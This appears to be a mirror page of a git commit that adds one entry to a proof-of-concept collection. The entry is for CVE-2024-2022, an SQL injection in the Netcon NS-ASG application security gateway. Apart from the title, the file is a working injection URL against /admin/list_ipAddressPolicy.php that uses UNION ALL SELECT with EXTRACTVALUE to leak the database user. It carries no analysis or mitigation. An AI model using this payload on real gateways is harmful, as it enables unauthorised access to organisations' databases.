mirror of
https://github.com/wooluo/POC00.git
synced 2026-03-17 20:54:52 +08:00
Create 网康科技NS-ASG应用安全网关list_ipAddressPolicy.php存在SQL注入漏洞(CVE-2024-2022).md
This commit is contained in:
parent
05811c05d2
commit
5c3996ebe8
@ -0,0 +1,7 @@
|
|||||||
|
## 网康科技NS-ASG应用安全网关list_ipAddressPolicy.php存在SQL注入漏洞(CVE-2024-2022)
|
||||||
|
|
||||||
|
|
||||||
|
## poc
|
||||||
|
```
|
||||||
|
/admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+user()),0x7e))
|
||||||
|
```
|
||||||
Loading…
x
Reference in New Issue
Block a user